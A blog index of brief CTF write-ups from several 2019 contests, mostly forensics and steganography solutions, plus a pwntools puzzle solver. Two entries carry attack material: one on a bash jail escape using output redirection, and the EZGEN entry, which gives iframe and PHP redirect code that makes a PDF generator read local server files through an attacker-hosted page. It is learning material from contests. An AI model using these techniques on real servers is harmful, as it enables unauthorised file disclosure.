[Writeup] HSCTF 2019

FORENSICS

Chicken Crossing

Use strings and grep command in linux I have a flag.
Flag: hsctf{2_get_2_the_other_side}

Cool Image

The author give us a file with extension is .pdf, but I can open it, check back the header I realize it is the .png file so I just change the extension and get flag.

Cool Image 2

This time I can't open the PNG file. Like cool image 1 I open it in HXD and I see the auther add some stuffs at the header and make operation can't realize the png file. Just delete all of it I have true image:

Slap

Once again, I use strings and grep command in linux and take flag
Flag: hsctf{twoslapsnonetforce}

Logo sucks bad

When I use Stegsolve on the image, I see at top of image have been changed, so I believe the Image changed by LSB. I used zsteg and have flag.
Flag: hsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}

Read More

[Writeup] Mates SS3 Round 4

Programing

Đề bài làm bắt chúng ta phải làm sao từ 2 bình nước x, y có thể tích vx, vy và phải đong nước làm sao cho được z lít. Đây là bài toàn đong nước kinh điển, may mắn là mình đã được học qua ở trường nên có thể làm được bài này một cách nhanh chóng bằng thuật toán dẫn luật.

Soure code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

''' Luat 1: Neu VX day thi do nuoc trong binh X di Luat 2: Neu VY rong thi do day nuoc cho binh Y Luat 3: Neu VX khong day va VY khong rong thi trut nuoc tu binh Y sang binh X cho den khi binh X day e lam rong binh f lam day binh o do tu binh nay sang binh kia ''' from pwn import * host = '125.235.240.166' port = 11223 r = remote(host,port) def dongnuoc(Vx,Vy,z): x = 0 y = 0 s = '' s = "" while (x!=z) and (y!=z): if x == Vx: x = 0 s += '1:e_' if y == 0: y = Vy s += '2:f_' if y > 0: k = min(Vx-x,y) x = x+k y = y-k s += '2:o_' return s def agr(): r.recvuntil('1: ') Vx = int(r.recvuntil('\n').strip()) r.recvuntil('2: ') Vy = int(r.recvuntil('\n').strip()) r.recvuntil('z: ') z = int(r.recvuntil('\n').strip()) return Vx,Vy,z for i in range(5): Vx,Vy,z = agr() s = dongnuoc(Vx,Vy,z) s = s[:-1] r.recvuntil('op> ') r.sendline(s) print r.recvuntil('\n') print r.recvuntil('\n') r.interactive()

Forensics

Đề bài là một file pcap với giao thức chính là NTP và data strem là một chuỗi base64 nhưng không decode ra gì cả, sau khi xem tổng thể mình để ý thấy có 1 gói tin Malformed packet tra google mình biết đó là PNG bị hỏng trong quá trình chuyển tin. Để ý lại một lần nữa mình mới thấy là bản thân khá fail khi chỉ loại 1 loạt dấu !!! mà không thử loại loạt chữ AAA ở đầu. Thử decdoe bằng đoạn mới mình có một bức ảnh PNG chứa flag:

Read More

[Writeup] Sunshine CTF 2019

Forensics

Golly

It's a code of Golly rle file, when I run a code given I just have a alphabet table:

Run it and nothing else, I read a rle file document at here. And I know a "$" represents the end of each row and an optional "!" represents the end of the pattern. So I just copy the paragraph after !$$$$ and I got

Flag: sun{th1s_w0nt_last}

Castles

Open the file in HXD I saw something like a hint:

Hey! Mario said something about a hidden key. Hesaid this: F2I and A1S, and that it was in two pieces

Because this is 001 file so I use FTK Imager to open it. And I found an JPG image of Mario:

Read More

[Writeup] Insomnihack final 2019

myBrokenBash

For this challenge, the author give us something about stdout and when I try to send something the server will reply the string that I send, it's make me remember to a challenge in Ringzer0 CTF about bash shell jail escaping. It use file description to bypass stdout. Redirect from stdout to stdin by ls * 1>&0 I can see the flag file.

But I got the problem when I try to cat a flag, I only have a half flag

Maybe another file contain another half flag but the grep command only direct me to that file, so I think it have been filtered output. After a little help form my mates, I used base64 command and got a flag.

Flag: INS{c@t_th3_Flag_1t_s_n0t_so_ea4y}

EZGEN

I write this writeup base on my mate solution, I just help him found flag's direction because I found it at mybashbroken. This challenge have problem is LFI and he wrote a code on his vps to get flag. The code below is just a old version because he reset windows after competion end so I can't have best code for you.

index.html

1 2 3 4 5 6 7 8 9 10 11 12

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title></title> <link rel="stylesheet" href=""> </head> <body> <iframe width="800" height="800" src="http://<IP_YOUR_SERVER>/file.php?file=/var/www/html/webtopdf.php"></iframe> </body> </html>

file.php

1 2 3 4

<?php $filename = $_GET['file']; header("Location: file://$filename"); ?>

The flag saved at /flag

(This is my first test, correct is /flag not flag)

And I got flag

Read More

[Writeup] Pragyan CTF - Forensics

Welcome

We have a jpg file, I used HXD and see a zip file in it, then I used binwalk to get the zip file.

1 2 3 4 5 6 7

$ binwalk welcome.jpeg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 10600 0x2968 Zip archive data, at least v2.0 to extract, uncompressed size: 9886, name: d.zip 20483 0x5003 End of Zip archive

And what I got? One secret.bmp file and one zip file contain the flag but protected by password. Dig the bitmap file I saw a base64 strings is: dGhlIHBhc3N3b3JkIGlzOiBoMzExMF90aDNyMyE==
Decode and I got the password is: h3110_th3r3!
After have a.png I used stegsolve to check lsb and got the flag

Flag: pctf{st3gs0lv3_1s_u53ful}

Magic PNGs

The picture you_can't_see_me.png have wrong 2 point, first is the header, I changed the header

89 50 4E 47 2E 0A 2E 0A to 89 50 4E 47 0D 0A 1A 0A

then I look for chunk: 6, the iidat should be IDAT, 

fix it and I got the image:

And the password for zip file is md5(h4CK3RM4n)

Flag: pctf{y0u_s33_m33_n0w!}

Read More